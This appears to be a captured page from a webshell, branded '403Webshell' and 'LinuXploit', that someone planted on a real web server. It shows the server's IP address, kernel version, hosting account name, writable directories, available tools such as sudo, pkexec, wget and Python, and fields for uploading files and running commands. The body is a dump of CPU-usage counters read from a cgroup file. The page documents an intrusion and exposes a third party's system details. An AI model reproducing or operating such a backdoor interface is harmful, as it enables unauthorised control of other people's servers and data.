- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.216.11.230
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sys/fs/cgroup/cpuacct/lve1292/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sys/fs/cgroup/cpuacct/lve1292/cpuacct.usage_all
cpu user system
0 27872028 29851276
1 9955046 15914509
2 15894546 17920587
3 16911550 20912634
4 4976263 9948961
5 10840694 16909259
6 24863827 23884360
7 9954437 14931753
8 7965942 11795680
9 7950882 12942549
10 22862909 28797301
11 16923448 19852067
12 5970171 7950060
13 13924056 18890978
14 5970509 12939161
15 10938879 23891481
16 17905251 24876370
17 26767480 29729010
18 15928853 29830931
19 16935075 26904261
20 11917327 19901440
21 24891619 21878424
22 22779551 24838433
23 26892957 23910165
24 24836722 26866668
25 21880781 30849289
26 39806526 34865671
27 15860728 21901122
28 1989727 2988358
29 3986534 7972266
30 12943591 14921966
31 9958858 15934490
32 0 4973637
33 16905716 20889509
34 0 2881056
35 0 2992324
36 996314 4981796
37 2989626 6967917
38 19906690 21860670
39 9924350 12870849
40 3939606 9959292
41 11929011 12948706
42 22895768 20901815
43 16914617 13938573
44 21782183 20891333
45 45759751 30827537
46 40726247 36806367
47 5949948 14894085
48 36856981 37859037
49 24763458 34798699
50 41759461 36799780
51 10945299 11953218
52 33804652 34816138
53 35818317 39814137
54 25800251 31808283
55 16930777 29863174

Youez - 2016 - github.com/yon3zu
LinuXploit